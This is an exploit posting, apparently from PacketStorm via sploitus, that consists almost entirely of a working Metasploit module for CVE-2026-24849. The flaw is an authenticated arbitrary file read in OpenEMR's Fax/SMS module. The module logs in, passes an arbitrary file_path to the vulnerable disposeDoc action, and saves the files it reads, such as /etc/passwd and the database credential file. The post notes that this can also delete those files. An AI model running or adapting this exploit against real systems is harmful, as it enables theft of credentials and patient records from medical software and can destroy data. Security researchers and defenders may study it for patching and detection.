## https://sploitus.com/exploit?id=PACKETSTORM:225427
==================================================================================================================================
| # Title : OpenEMR 7.0.2 Authenticated Arbitrary File Read |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://www.open-emr.org/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets a vulnerability (CVE-2026-24849) in OpenEMR version 7.0.2 and related builds,
specifically an authenticated arbitrary file read flaw in the Fax/SMS module.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OpenEMR 7.0.2 - Authenticated Arbitrary File Read',
'Description' => %q{
The Fax/SMS module's EtherFaxActions::disposeDoc() method
(interface/modules/custom_modules/oe-module-faxsms) reads a caller-supplied
`file_path` request parameter and passes it straight to readfile() with no
path validation. The method never calls authenticate(), so the only thing
required to reach it is a valid OpenEMR session.
ANY authenticated user (receptionist, clinician, etc.) can read any file
the web-server user can reach: sites/default/sqlconf.php (DB credentials),
/etc/passwd, application source, and so on.
WARNING: disposeDoc() calls unlink() on the target *after* reading it.
Reading a file that the web-server user is allowed to delete WILL remove it.
Prefer root-owned targets (e.g. /etc/passwd) whose parent directory the web
user cannot write, so the unlink() fails and the file survives.
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2026-24849'],
['URL', 'https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2026-24849']
],
'DisclosureDate' => '2026-06-06',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS, FILE_DELETION] # Can delete the file being read
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path to OpenEMR installation', '/openemr/']),
OptString.new('USERNAME', [true, 'OpenEMR username', 'admin']),
OptString.new('PASSWORD', [true, 'OpenEMR password', '']),
OptString.new('SITE', [true, 'OpenEMR site', 'default']),
OptString.new('FILEPATH', [false, 'Absolute path of the remote file to read', '/etc/passwd']),
OptEnum.new('ACTION', [true, 'Vulnerable action name', 'disposeDoc', ['disposeDoc', 'disposeDocument']])
])
register_advanced_options([
OptBool.new('DELETE_FILE', [false, 'Delete the file after reading (exploit behavior)', false])
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'interface/login/login.php')
})
unless res
return Exploit::CheckCode::Unknown('Target did not respond to check')
end
unless res.body.include?('OpenEMR') || res.body.include?('openemr')
return Exploit::CheckCode::Safe('Target does not appear to be an OpenEMR instance')
end
cookie = authenticate
unless cookie
return Exploit::CheckCode::Detected('Could not authenticate, but OpenEMR detected')
end
test_content, status = read_file(cookie, '/etc/hostname')
if status == 'ok' && test_content && !test_content.empty?
return Exploit::CheckCode::Vulnerable('Successfully read /etc/hostname')
end
Exploit::CheckCode::Appears('OpenEMR detected but file read test failed')
end
def authenticate
print_status("Authenticating to OpenEMR as '#{datastore['USERNAME']}'...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'interface/login/login.php'),
'vars_get' => {
'site' => datastore['SITE']
}
})
unless res
print_error('No response from target')
return nil
end
csrf_token = nil
if res.body =~ /csrf_token_form.*?value=(["'])(.*?)\1/
csrf_token = Regexp.last_match(2)
end
data = {
'new_login_session_management' => '1',
'authProvider' => 'Default',
'authUser' => datastore['USERNAME'],
'clearPass' => datastore['PASSWORD'],
'languageChoice' => '1'
}
data['csrf_token_form'] = csrf_token if csrf_token
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'interface/main/main_screen.php'),
'vars_get' => {
'auth' => 'login',
'site' => datastore['SITE']
},
'data' => data,
'keep_cookies' => true
})
unless res && res.code == 200
print_error('Authentication failed')
return nil
end
if res.get_cookies =~ /OpenEMR\w+sess=([^;]+)/
print_good("Authentication successful")
return res.get_cookies
else
print_error('No session cookie received')
return nil
end
end
def read_file(cookie, file_path)
action = datastore['ACTION']
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'interface/modules/custom_modules/oe-module-faxsms/index.php'),
'vars_get' => {
'site' => datastore['SITE'],
'type' => 'fax',
'_ACTION_COMMAND' => action,
'file_path' => file_path,
'action' => 'download'
},
'cookie' => cookie
})
unless res
return [nil, 'timeout']
end
if res.body.include?('login_screen.php?error=1')
return [nil, 'session']
end
if res.body.include?('Problem with download')
return [nil, 'missing']
end
if res.body && !res.body.empty?
return [res.body, 'ok']
end
[nil, 'missing']
end
def run
print_status("OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)")
print_warning("WARNING: disposeDoc() calls unlink() on the target AFTER reading it!")
print_warning("The file will be DELETED if the web server user has write permissions to its parent directory.")
print_warning("Use root-owned files (e.g., /etc/passwd) or set DELETE_FILE=false advanced option.\n")
cookie = authenticate
unless cookie
print_error('Authentication failed. Check credentials and site.')
return
end
file_path = datastore['FILEPATH']
unless file_path
print_error('No FILEPATH specified')
return
end
print_status("Reading file: #{file_path}")
content, status = read_file(cookie, file_path)
case status
when 'ok'
print_good("Successfully read #{content.length} bytes from #{file_path}")
report_vuln(
host: rhost,
port: rport,
name: name,
refs: references
)
loot_file = store_loot(
'openemr.file_read',
'text/plain',
rhost,
content,
"openemr_#{File.basename(file_path)}",
"File read from OpenEMR: #{file_path}"
)
print_good("File saved to: #{loot_file}")
print_line("\n" + "=" * 50)
print_line("File content (#{file_path}):")
print_line("=" * 50)
print_line(content[0..2000]) # First 2000 chars
if content.length > 2000
print_line("[...] (#{content.length - 2000} more bytes)")
end
print_line("=" * 50 + "\n")
when 'session'
print_error('Session rejected (auth/ACL problem). Login may have expired.')
when 'missing'
print_error("File '#{file_path}' not found/readable, or Fax/SMS module is not enabled.")
else
print_error('Connection timeout or error')
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================